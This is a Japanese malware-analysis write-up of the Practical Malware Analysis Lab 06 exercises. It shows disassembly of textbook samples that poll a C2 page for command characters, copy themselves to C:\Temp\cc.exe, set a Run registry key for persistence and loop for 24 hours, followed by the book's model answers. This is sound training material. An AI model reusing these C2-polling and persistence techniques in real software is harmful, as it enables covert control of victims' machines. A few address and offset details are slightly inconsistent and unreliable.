Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab06のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。
Lab 6-1
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab06-01.exe | 32ビット EXE | 6ABDE2F83015F066385D27CFF6143C44 |
1. What is the major code construct found in the only subroutine called by main?
main関数は恐らく0x401040。0x401040の中で呼び出されているサブルーチンは0x401000のみ。サブルーチン0x401000の冒頭でInternetGetConnectedStateが呼び出されており、戻り値に応じて2箇所あるジャンプ先のいずれかに処理が移る。これはif文と同義。
2. What is the subroutine located at 0x40105F?
サブルーチン0x40105Fの呼び出し直前にInternetGetConnectedStateでシステムのネットワークの接続状況を確認している。システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージが、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージがサブルーチン0x40105Fに引数として渡される。恐らくサブルーチン0x40105Fはメッセージ出力のための関数と思われる。
.text:00401004 6A 00 push 0 ; dwReserved
.text:00401006 6A 00 push 0 ; lpdwFlags
.text:00401008 FF 15 B0 60 40 00 call ds:InternetGetConnectedState
.text:0040100E 89 45 FC mov [ebp+var_4], eax
.text:00401011 83 7D FC 00 cmp [ebp+var_4], 0
.text:00401015 74 14 jz short loc_40102B
---
.text:0040102B loc_40102B:
.text:0040102B 68 30 70 40 00 push offset aError11NoInter ; "Error 1.1: No Internet\n"
.text:00401030 E8 2A 00 00 00 call printf_40105F
.text:00401035 83 C4 04 add esp, 4
.text:00401038 33 C0 xor eax, eax
---
.text:00401017 68 48 70 40 00 push offset aSuccessInterne ; "Success: Internet Connection\n"
.text:0040101C E8 3E 00 00 00 call printf_40105F
.text:00401021 83 C4 04 add esp, 4
.text:00401024 B8 01 00 00 00 mov eax, 1
.text:00401029 EB 0F jmp short loc_40103A
3. What is the purpose of this program?
システムのネットワークの接続状況を確認し、システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージを、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージを出力する。
Lab 6-2
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab06-02.exe | 32ビット EXE | C0B54534E188E1392F28D17FAFF3D454 |
1. What operation does the first subroutine called by main perform?
main関数は恐らく0x401130。0x401130の中で最初に呼び出されているサブルーチンは0x401000。サブルーチン0x401000はInternetGetConnectedStateでシステムのネットワークの接続状況を確認し、システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージを、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージを出力する。
2. What is the subroutine located at 0x40117F?
サブルーチン0x40117Fは合計6回呼び出されており、以下のメッセージを引数として受け取っている。
- "Success: Internet Connection\n"
- "Error 1.1: No Internet\n"
- "Error 2.1: Fail to OpenUrl\n"
- "Error 2.2: Fail to ReadFile\n"
- "Error 2.3: Fail to get command\n"
- "Success: Parsed command is %c\n"
よってサブルーチン0x40117Fはメッセージ出力のための関数と思われる。
3. What does the second subroutine called by main do?
main関数の中で2番目に呼び出されているサブルーチンは0x401040。サブルーチン 0x401040は、まずURL http://www.practicalmalwareanalysis[.]com/cc.htm
への通信を試みる。この際ユーザーエージェントにInternet Explorer 7.5/pma
を用いる。
.text:00401051 68 F4 70 40 00 push offset szAgent ; "Internet Explorer 7.5/pma"
.text:00401056 FF 15 C4 60 40 00 call ds:InternetOpenA
.text:0040105C 89 45 F4 mov [ebp+hInternet], eax
.text:0040105F 6A 00 push 0 ; dwContext
.text:00401061 6A 00 push 0 ; dwFlags
.text:00401063 6A 00 push 0 ; dwHeadersLength
.text:00401065 6A 00 push 0 ; lpszHeaders
.text:00401067 68 C4 70 40 00 push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
.text:0040106C 8B 45 F4 mov eax, [ebp+hInternet]
.text:0040106F 50 push eax ; hInternet
.text:00401070 FF 15 B4 60 40 00 call ds:InternetOpenUrlA
.text:00401076 89 45 F0 mov [ebp+hFile], eax
.text:00401079 83 7D F0 00 cmp [ebp+hFile], 0
.text:0040107D 75 1E jnz short loc_40109D
URLへの通信が失敗した場合は"Error 2.1: Fail to OpenUrl\n"
というメッセージを出力して接続を終了する。
.text:0040107F 68 A8 70 40 00 push offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n"
.text:00401084 E8 F6 00 00 00 call printf_40117F
.text:00401089 83 C4 04 add esp, 4
.text:0040108C 8B 4D F4 mov ecx, [ebp+hInternet]
.text:0040108F 51 push ecx ; hInternet
.text:00401090 FF 15 B8 60 40 00 call ds:InternetCloseHandle
.text:00401096 32 C0 xor al, al
.text:00401098 E9 8F 00 00 00 jmp loc_40112C
URLへの通信が成功した場合はレスポンスのデータを読み込む。
.text:0040109D 8D 55 F8 lea edx, [ebp+dwNumberOfBytesRead]
.text:004010A0 52 push edx ; lpdwNumberOfBytesRead
.text:004010A1 68 00 02 00 00 push 200h ; dwNumberOfBytesToRead
.text:004010A6 8D 85 F0 FD FF FF lea eax, [ebp+Buffer]
.text:004010AC 50 push eax ; lpBuffer
.text:004010AD 8B 4D F0 mov ecx, [ebp+hFile]
.text:004010B0 51 push ecx ; hFile
.text:004010B1 FF 15 BC 60 40 00 call ds:InternetReadFile
.text:004010B7 89 45 FC mov [ebp+var_4], eax
.text:004010BA 83 7D FC 00 cmp [ebp+var_4], 0
.text:004010BE 75 25 jnz short loc_4010E5
レスポンスのデータの読み込みに失敗した場合は"Error 2.2: Fail to ReadFile\n"
というメッセージを出力して接続を終了する。
.text:004010C0 68 88 70 40 00 push offset aError22FailToR ; "Error 2.2: Fail to ReadFile\n"
.text:004010C5 E8 B5 00 00 00 call printf_40117F
.text:004010CA 83 C4 04 add esp, 4
.text:004010CD 8B 55 F4 mov edx, [ebp+hInternet]
.text:004010D0 52 push edx ; hInternet
.text:004010D1 FF 15 B8 60 40 00 call ds:InternetCloseHandle
.text:004010D7 8B 45 F0 mov eax, [ebp+hFile]
.text:004010DA 50 push eax ; hInternet
.text:004010DB FF 15 B8 60 40 00 call ds:InternetCloseHandle
.text:004010E1 32 C0 xor al, al
.text:004010E3 EB 47 jmp short loc_40112C
レスポンスのデータの読み込みに成功した場合はレスポンス・データの先頭に<!--
という文字列があるか確認する。<!--
が無かった場合は"Error 2.3: Fail to get command\n"
というメッセージを出力して処理を終了する。
.text:004010E5 0F BE 8D F0 FD FF FF movsx ecx, [ebp+Buffer]
.text:004010EC 83 F9 3C cmp ecx, '<'
.text:004010EF 75 2C jnz short loc_40111D
---
.text:004010F1 0F BE 95 F1 FD FF FF movsx edx, [ebp+var_20F]
.text:004010F8 83 FA 21 cmp edx, '!'
.text:004010FB 75 20 jnz short loc_40111D
---
.text:004010FD 0F BE 85 F2 FD FF FF movsx eax, [ebp+var_20E]
.text:00401104 83 F8 2D cmp eax, '-'
.text:00401107 75 14 jnz short loc_40111D
---
.text:00401109 0F BE 8D F3 FD FF FF movsx ecx, [ebp+var_20D]
.text:00401110 83 F9 2D cmp ecx, '-'
.text:00401113 75 08 jnz short loc_40111D
---
.text:0040111D loc_40111D:
.text:0040111D 68 68 70 40 00 push offset aError23FailToG ; "Error 2.3: Fail to get command\n"
.text:00401122 E8 58 00 00 00 call printf_40117F
.text:00401127 83 C4 04 add esp, 4
.text:0040112A 32 C0 xor al, al
レスポンス・データの先頭に<!--
という文字列が確認できた場合は<!--
直後のデータをalレジスタに格納して処理を終了する。
.text:00401115 8A 85 F4 FD FF FF mov al, [ebp+var_20C]
.text:0040111B EB 0F jmp short loc_40112C
まとめるとサブルーチン 0x401040はC2 URL http://www.practicalmalwareanalysis[.]com/cc.htm
と通信を行い、レスポンス・データの中からコマンドをパースする関数と推測できる。コマンドはHTMLコメントタグ<!--
の中に埋め込まれていると思われる。
4. What type of code construct is used in this subroutine?
ネストされたif文と同義。
5. Are there any network-based indicators for this program?
- URL
http://www.practicalmalwareanalysis[.]com/cc.htm
- ユーザーエージェント
Internet Explorer 7.5/pma
6. What is the purpose of this malware?
システムのネットワークの接続状況を確認し、システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージを、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージを出力する。
システムがネットワークに接続している場合は、C2 URL http://www.practicalmalwareanalysis[.]com/cc.htm
と通信を行い、レスポンス・データの中からコマンドをパースする。コマンドはHTMLコメントタグ<!--
の中に埋め込まれている。コマンドのパースに成功した場合はSuccess: Parsed command is
というメッセージとともにパースしたコマンドを出力して60秒間スリープする。
.text:00401148 E8 F3 FE FF FF call GetC2Command_401040
.text:0040114D 88 45 F8 mov [ebp+var_8], al
.text:00401150 0F BE 45 F8 movsx eax, [ebp+var_8]
.text:00401154 85 C0 test eax, eax
.text:00401156 75 04 jnz short loc_40115C
---
.text:0040115C 0F BE 4D F8 movsx ecx, [ebp+var_8]
.text:00401160 51 push ecx
.text:00401161 68 10 71 40 00 push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401166 E8 14 00 00 00 call printf_40117F
.text:0040116B 83 C4 08 add esp, 8
.text:0040116E 68 60 EA 00 00 push 60000 ; dwMilliseconds
.text:00401173 FF 15 00 60 40 00 call ds:Sleep
.text:00401179 33 C0 xor eax, eax
Lab 6-3
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab06-03.exe | 32ビット EXE | 3F8E2B945DEBA235FA4888682BD0D640 |
1. Compare the calls in main to Lab 6-2's main method. What is the new function called from main?
main関数は恐らく0x401210。0x401210の中では新たにサブルーチン0x401130が呼び出されている。
2. What parameters does this new function take?
ファイル名およびC2サーバーのレスポンスからパースしたC2コマンドを引数として受け取る。
.text:0040123C 0F BE 4D F8 movsx ecx, [ebp+C2Command]
.text:00401240 51 push ecx
.text:00401241 68 B8 71 40 00 push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401246 E8 26 00 00 00 call printf_401271
.text:0040124B 83 C4 08 add esp, 8
.text:0040124E 8B 55 0C mov edx, [ebp+arg_4]
.text:00401251 8B 02 mov eax, [edx]
.text:00401253 50 push eax ; lpExistingFileName
.text:00401254 8A 4D F8 mov cl, [ebp+C2Command]
.text:00401257 51 push ecx ; char
.text:00401258 E8 D3 FE FF FF call sub_401130
3. What major code construct does this function contain?
switch文
4. What can this function do?
まず引数に渡されたC2コマンドの値を確認する。
.text:00401130 55 push ebp
.text:00401131 8B EC mov ebp, esp
.text:00401133 83 EC 08 sub esp, 8
.text:00401136 0F BE 45 08 movsx eax, [ebp+arg_0] ; C2 command
.text:0040113A 89 45 F8 mov [ebp+C2Command], eax
.text:0040113D 8B 4D F8 mov ecx, [ebp+C2Command]
.text:00401140 83 E9 61 sub ecx, 61h
.text:00401143 89 4D F8 mov [ebp+C2Command], ecx
.text:00401146 83 7D F8 04 cmp [ebp+C2Command], 4 ; switch 5 cases
.text:0040114A 0F 87 91 00 00 00 ja loc_4011E1 ; jumptable 00401153 default case
C2コマンドの値が4より大きい場合は'Error 3.2: Not a valid command provided'
というメッセージを出力して処理を終了する。
.text:004011E1 loc_4011E1: ; 'Error 3.2: Not a valid command provided'
.text:004011E1 68 10 71 40 00 push offset aError32NotAVal
.text:004011E6 E8 86 00 00 00 call printf_401271
.text:004011EB 83 C4 04 add esp, 4
C2コマンドの値が0の場合、マルウェアはC:\Temp
というディレクトリを作成する。
.text:0040115A loc_40115A: ; jumptable 00401153 case 0
.text:0040115A 6A 00 push 0
.text:0040115C 68 B0 71 40 00 push offset PathName ; "C:\\Temp"
.text:00401161 FF 15 0C 60 40 00 call ds:CreateDirectoryA
.text:00401167 E9 82 00 00 00 jmp loc_4011EE
C2コマンドの値が1の場合、マルウェアは自身のコピーをC:\Temp\cc.exe
として作成する。
.text:0040116C loc_40116C: ; jumptable 00401153 case 1
.text:0040116C 6A 01 push 1
.text:0040116E 68 A0 71 40 00 push offset Data ; "C:\\Temp\\cc.exe"
.text:00401173 8B 45 0C mov eax, [ebp+lpExistingFileName]
.text:00401176 50 push eax ; lpExistingFileName
.text:00401177 FF 15 14 60 40 00 call ds:CopyFileA
.text:0040117D EB 6F jmp short loc_4011EE
C2コマンドの値が2の場合、マルウェアはファイル C:\Temp\cc.exe
を削除する。
.text:0040117F loc_40117F: ; jumptable 00401153 case 2
.text:0040117F 68 A0 71 40 00 push offset Data ; 'C:\Temp\cc.exe'
.text:00401184 FF 15 28 60 40 00 call ds:DeleteFileA
.text:0040118A EB 62 jmp short loc_4011EE
C2コマンドの値が3の場合、マルウェアはレジストリキー HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware
にファイル C:\Temp\cc.exe
を登録する。Runキーによる永続化を図っている。
.text:0040118C loc_40118C: ; jumptable 00401153 case 3
.text:0040118C 8D 4D FC lea ecx, [ebp+phkResult]
.text:0040118F 51 push ecx ; phkResult
.text:00401190 68 3F 00 0F 00 push 0F003Fh ; samDesired
.text:00401195 6A 00 push 0 ; ulOptions
.text:00401197 68 70 71 40 00 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:0040119C 68 02 00 00 80 push 80000002h ; hKey
.text:004011A1 FF 15 04 60 40 00 call ds:RegOpenKeyExA
.text:004011A7 6A 0F push 0Fh ; cbData
.text:004011A9 68 A0 71 40 00 push offset Data ; "C:\\Temp\\cc.exe"
.text:004011AE 6A 01 push 1 ; dwType
.text:004011B0 6A 00 push 0 ; Reserved
.text:004011B2 68 68 71 40 00 push offset ValueName ; "Malware"
.text:004011B7 8B 55 FC mov edx, [ebp+phkResult]
.text:004011BA 52 push edx ; hKey
.text:004011BB FF 15 00 60 40 00 call ds:RegSetValueExA
.text:004011C1 85 C0 test eax, eax
.text:004011C3 74 0D jz short loc_4011D2
C2コマンドの値が4の場合、マルウェアは100秒間スリープする。
.text:004011D4 loc_4011D4: ; jumptable 00401153 case 4
.text:004011D4 68 A0 86 01 00 push 100000
.text:004011D9 FF 15 30 60 40 00 call ds:Slee
.text:004011DF EB 0D jmp short loc_4011EE
5. Are there any host-based indicators for this malware?
- ディレクトリ名
C:\Temp
- ファイル名
C:\Temp\cc.exe
- レジストリキー
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware
6. What is the purpose of this malware?
システムのネットワークの接続状況を確認し、システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージを、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージを出力する。
システムがネットワークに接続している場合は、C2 URL http://www.practicalmalwareanalysis[.]com/cc.htm
と通信を行い、レスポンス・データの中からコマンドをパースする。コマンドはHTMLコメントタグ<!--
の中に埋め込まれている。コマンドのパースに成功した場合はSuccess: Parsed command is
というメッセージとともにパースしたコマンドを出力する。
パースしたC2コマンドの値 (0-4)に応じてファイル C:\Temp\cc.exe
(自身のコピー) の作成・削除をしたり、ディレクトリ C:\Temp
を作成したり、Runレジストリキー HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware
に自身 (C:\Temp\cc.exe
)を登録して永続化を図ったり、あるいは100秒間スリープしたりする。コマンドの実行後、60秒間スリープする。
Lab 6-4
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab06-04.exe | 32ビット EXE | 21BE74DFAFDACAAAB1C8D836E2186A69 |
1. What is the difference between the calls made from the main method in Labs 6-3 and 6-4?
main関数は恐らく0x401230。サブルーチン0x401000でネットワーク接続状況の確認をしたあとに、for ループが追加されている。
.text:00401248 loc_401248:
.text:00401248 C7 45 F4 00 00 00 00 mov [ebp+counter], 0
.text:0040124F EB 09 jmp short loc_40125A
---
.text:0040125A loc_40125A:
.text:0040125A 81 7D F4 A0 05 00 00 cmp [ebp+counter], 1440
.text:00401261 7D 4C jge short loc_4012AF
2. What new code construct has been added to main?
for ループ。ループ・カウンターの値が1440未満の場合は繰り返しC2 URLからC2コマンドを取得して実行する。C2コマンドを1回実行するごとに60秒間スリープし、ループ・カウンターの値を加算する。ループ・カウンターの値が1440以上に達すると処理を終了する。
.text:00401248 C7 45 F4 00 00 00 00 mov [ebp+counter], 0
.text:0040124F EB 09 jmp short loc_40125A
---
.text:0040125A loc_40125A:
.text:0040125A 81 7D F4 A0 05 00 00 cmp [ebp+counter], 1440
.text:00401261 7D 4C jge short loc_4012AF
---
.text:00401263 8B 4D F4 mov ecx, [ebp+counter]
.text:00401266 51 push ecx
.text:00401267 E8 D4 FD FF FF call GetC2Command_401040
.text:0040126C 83 C4 04 add esp, 4
.text:0040126F 88 45 F8 mov [ebp+var_8], al
.text:00401272 0F BE 55 F8 movsx edx, [ebp+var_8]
.text:00401276 85 D2 test edx, edx
.text:00401278 75 04 jnz short loc_40127E
---
.text:0040127E 0F BE 45 F8 movsx eax, [ebp+var_8]
.text:00401282 50 push eax
.text:00401283 68 BC 71 40 00 push offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401288 E8 28 00 00 00 call printf_4012B5
.text:0040128D 83 C4 08 add esp, 8
.text:00401290 8B 4D 0C mov ecx, [ebp+arg_4]
.text:00401293 8B 11 mov edx, [ecx]
.text:00401295 52 push edx ; lpExistingFileName
.text:00401296 8A 45 F8 mov al, [ebp+var_8]
.text:00401299 50 push eax ; char
.text:0040129A E8 B1 FE FF FF call ExecC2Command_401150
.text:0040129F 83 C4 08 add esp, 8
.text:004012A2 68 60 EA 00 00 push 60000 ; dwMilliseconds
.text:004012A7 FF 15 30 60 40 00 call ds:Sleep
.text:004012AD EB A2 jmp short loc_401251
---
.text:00401251 loc_401251:
.text:00401251 8B 45 F4 mov eax, [ebp+counter]
.text:00401254 83 C0 01 add eax, 1
.text:00401257 89 45 F4 mov [ebp+counter], eax
3. What is the difference between this lab's parse HTML function and those of the previous labs?
先のラボと異なり、C2コマンド取得のためのサブルーチン 0x401040はループ・カウンタの値を引数として受け取っている。
.text:00401263 8B 4D F4 mov ecx, [ebp+counter]
.text:00401266 51 push ecx
.text:00401267 E8 D4 FD FF FF call GetC2Command_401040
また、C2 URL http://www.practicalmalwareanalysis[.]com/cc.htm
へ通信する際に用いるユーザーエージェントがInternet Explorer 7.5/pma
からInternet Explorer 7.50/pma
に変化しており、通信の際にループ・カウンタの値をユーザーエージェントに埋め込む。
.text:00401040 55 push ebp
.text:00401041 8B EC mov ebp, esp
.text:00401043 81 EC 30 02 00 00 sub esp, 230h
.text:00401049 8B 45 08 mov eax, [ebp+arg_0] ; copy loop counter to eax
.text:0040104C 50 push eax
.text:0040104D 68 F4 70 40 00 push offset aInternetExplor ; "Internet Explorer 7.50/pma%d"
.text:00401052 8D 4D D8 lea ecx, [ebp+szAgent]
.text:00401055 51 push ecx
.text:00401056 E8 8B 02 00 00 call sprintf_4012E6
.text:0040105B 83 C4 0C add esp, 0Ch
.text:0040105E 6A 00 push 0 ; dwFlags
.text:00401060 6A 00 push 0 ; lpszProxyBypass
.text:00401062 6A 00 push 0 ; lpszProxy
.text:00401064 6A 00 push 0 ; dwAccessType
.text:00401066 8D 55 D8 lea edx, [ebp+szAgent]
.text:00401069 52 push edx ; lpszAgent
.text:0040106A FF 15 DC 60 40 00 call ds:InternetOpenA
.text:00401070 89 45 D4 mov [ebp+hInternet], eax
.text:00401073 6A 00 push 0 ; dwContext
.text:00401075 6A 00 push 0 ; dwFlags
.text:00401077 6A 00 push 0 ; dwHeadersLength
.text:00401079 6A 00 push 0 ; lpszHeaders
.text:0040107B 68 C4 70 40 00 push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
.text:00401080 8B 45 D4 mov eax, [ebp+hInternet]
.text:00401083 50 push eax ; hInternet
.text:00401084 FF 15 CC 60 40 00 call ds:InternetOpenUrlA
.text:0040108A 89 45 D0 mov [ebp+hFile], eax
.text:0040108D 83 7D D0 00 cmp [ebp+hFile], 0
.text:00401091 75 1E jnz short loc_4010B1
4. How long will this program run? (Assume that it is connected to the Internet.)
このマルウェアはC2 URLからコマンドを取得して実行するごとに60秒間スリープして、それを1440回繰り返す。
60 x 1440 = 86400秒 (24時間)
5. Are there any new network-based indicators for this malware?
- ユーザーエージェント
Internet Explorer 7.50/pma + (ループ・カウンターの値)
6. What is the purpose of this malware?
システムのネットワークの接続状況を確認し、システムがネットワークに接続している場合はSuccess: Internet Connection\n
というメッセージを、システムがネットワークに接続していない場合はError 1.1: No Internet\n
というメッセージを出力する。
システムがネットワークに接続している場合は、C2 URL http://www.practicalmalwareanalysis[.]com/cc.htm
と通信を行い、レスポンス・データの中からコマンドをパースする。コマンドはHTMLコメントタグ<!--
の中に埋め込まれている。コマンドのパースに成功した場合はSuccess: Parsed command is
というメッセージとともにパースしたコマンドを出力する。
パースしたC2コマンドの値 (0-4)に応じてファイル C:\Temp\cc.exe
(自身のコピー) の作成・削除をしたり、ディレクトリ C:\Temp
を作成したり、Runレジストリキー HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Malware
に自身 (C:\Temp\cc.exe
)を登録して永続化を図ったり、あるいは100秒間スリープしたりする。コマンドの実行後は60秒間スリープした後、再びC2 URLとの通信を行う。C2 URLとの通信は86400秒間 (24時間)に達するまで繰り返される (C2 URL からスリープ命令を受け取らなかったと仮定した場合)。
模範解答
Lab 6-1
1. The major code construct is an if statement located at 0x401000
2. printf is the subroutine located at 0x40105F.
3. The program checks for an active Internet connection. If an active connection is found, it prints "Success: Internet Connection." If a connection is not found, it prints "Error 1.1: No Internet." This program can be used by malware to check for a connection before attempting to connect to the Internet.
Lab 6-2
1. The first subroutine at 0x401000 is the same as in Lab 6-1. It's an if statement that checks for an active Internet connection.
2. printf is the subroutine located at 0x40117F.
3. The second function called from main is located at 0x401040. It downloads the web page located at http://www.practicalmalwareanalysis[.]com/cc.htm and parses HTML comment from the beginning of the page.
4. This subroutine uses a character array filled with data from the call to InternetReadFile. This array is compared one byte at a time to parse an HTML comment.
5. There are two network-based indicators. The program uses the HTTP User-Agent Internet Explorer 7.5/pma and downloads the web page located at: http://www.practicalmalwareanalysis[.]com/cc.htm.
6. First, the program checks for an active Internet connection. If none is found, the program terminates. Otherwise, the program attempts to download a web page using a unique User-Agent. This web page contains an embedded HTML comment starting with <!--. The next character is parsed from this comment and printed to the screen in the format "Success: Parsed command is X," where X is the character parsed from the HTML comment. If successful, the program will sleep for 1 minute and then terminate.
Lab 6-3
1. The functions at 0x401000 and 0x401040 are the same as those in Lab 6-2. At 0x401271 is printf. The 0x401130 function is new to this lab.
2. The new function takes two parameters. The first is the command character parsed from the HTML comment, and the second is the program name argv[0], the standard main parameter.
3. The new function contains a switch statement with a jump table.
4. The new function can print error messages, delete a file, create a directory, set a registry value, copy a file, or sleep for 100 seconds.
5. The registry key Software\Microsoft\Windows\CurrentVersion\Run\Malware and the file location C:\Temp\cc.exe can both be host-based indicators.
6. The program first checks for an active Internet connection. If no Internet connection is found, the program terminates. Otherwise, the program will attempt to download a web page containing an embedded HTML comment beginning with <!--. The first character of the comment is parsed and used in a switch statement to determine which action to take on the local system, including whether to delete a file, create a directory, set a registry run key, copy a file, or sleep for 100 seconds.
Lab 6-4
1. The function at 0x401000 is the check Internet connection method, 0x401040 is the parse HTML method, 0x4012B5 is printf, and 0x401150 is the switch statement.
2. A for loop has been added to the main method.
3. The function at 0x401040 now takes a parameter and calls sprintf with the format string Internet Explorer 7.50%d. It builds a User-Agent for use during HTTP communication using the argument passed in.
4. This program will run for 1440 minutes (24hours).
5. Yes, a new User-Agent is used. It takes the form Internet Explorer 7.50/pma%d, where %d is the number of minutes the program has been running.
6. First, the program checks for an active Internet connection. If none is found, the program terminates. Otherwise, the program will use a unique User-Agent to attempt to download a web page containing a counter that tracts the number of minutes the program has been running. The web page downloaded contains an embedded HTML comment starting with <!--. The next character is parsed from this comment and used in a switch statement to determine the action to take on the local system. These are hard-coded actions, including deleting a file, creating a directory, setting a registry run key, copying a file, and sleeping for 100 seconds. This program will run for 24 hours before terminating.
答え合わせ
Lab 6-3 問4にてC2 URLのレスポンス・データから取得されるC2コマンドの値は数字の0-4から成ると解答したが、これは誤りだった。正しくはC2コマンドの値はアルファベットのa、b、c、d、eから成る。
サブルーチン0x401150冒頭の以下のコードに注目してみる。
.text:00401130 55 push ebp
.text:00401131 8B EC mov ebp, esp
.text:00401133 83 EC 08 sub esp, 8
.text:00401136 0F BE 45 08 movsx eax, [ebp+arg_0] ; C2 command
.text:0040113A 89 45 F8 mov [ebp+C2Command], eax
.text:0040113D 8B 4D F8 mov ecx, [ebp+C2Command]
.text:00401140 83 E9 61 sub ecx, 61h
.text:00401143 89 4D F8 mov [ebp+C2Command], ecx
.text:00401146 83 7D F8 04 cmp [ebp+C2Command], 4 ; switch 5 cases
.text:0040114A 0F 87 91 00 00 00 ja loc_4011E1 ; jumptable 00401153 default case
上記のコードは引数に渡されたC2コマンド (1バイト)をECXレジスタに格納した後、ECXに格納した値から0x61を減算している。0x61をhexデコードするとアルファベットのaになる。その後、 ECX - 0x61の差が4より大きいか比較している。
- C2コマンドの値が0x61 (a) と等しかった場合、ECX - 0x61の差は0となり、ディレクトリ
C:\Temp
作成の処理へ飛ぶ - C2コマンドの値が0x62 (b) と等しかった場合、ECX - 0x61の差は1となり、ファイル
C:\Temp\cc.exe
作成の処理へ飛ぶ - C2コマンドの値が0x63 (c) と等しかった場合、ECX - 0x61の差は2となり、ファイル
C:\Temp\cc.exe
削除の処理へ飛ぶ - C2コマンドの値が0x64 (d) と等しかった場合、ECX - 0x61の差は3となり、Run レジストリキー作成の処理へ飛ぶ
- C2コマンドの値が0x65 (e) と等しかった場合、ECX - 0x61の差は4となり、スリープ処理へ飛ぶ
- C2コマンドの値が0x65 (e) よりも大きかった場合、ECX - 0x61の差は4より大きくなり、
Error 3.2: Not a valid command provided
というメッセージを出力して処理を終了する
上記の処理への分岐にはジャンプ・テーブルが用いられている。以下のコードに注目してみる。
.text:00401150 8B 55 F8 mov edx, [ebp+C2Command]
.text:00401153 FF 24 95 F2 11 40 00 jmp ds:off_4011F2[edx*4] ; switch jump
上述したECX - 0x61の差の値がEDXレジスタに格納されてジャンプ・テーブル 0x4011F2のインデックスとして用いられる。EDXの値に4が掛けられているが、これはジャンプ・テーブルのエントリーがアドレス 0x4011F2からの各アドレス(4バイト毎)に格納されているためである。
以下はジャンプ・テーブル 0x4011F2の内容である。
.text:004011F2 off_4011F2 dd offset loc_40115A ; DATA XREF: ExecC2Command_401130+23↑r
.text:004011F2 "(0x4011F6)" dd offset loc_40116C ; jump table for switch statement
.text:004011F2 "(0x4011FA)" dd offset loc_40117F
.text:004011F2 "(0x401204)" dd offset loc_40118C
.text:004011F2 "(0x401208)" dd offset loc_4011D4
- 0x4011F2[0] (0x4011F2) にはアドレス 0x40115Aが格納されている
- 0x4011F2[1] (0x4011F6) にはアドレス 0x40116Cが格納されている
- 0x4011F2[2] (0x4011FA) にはアドレス 0x40117Fが格納されている
- 0x4011F2[3] (0x401204) にはアドレス 0x40118Cが格納されている
- 0x4011F2[4] (0x401208) にはアドレス 0x4011D4が格納されている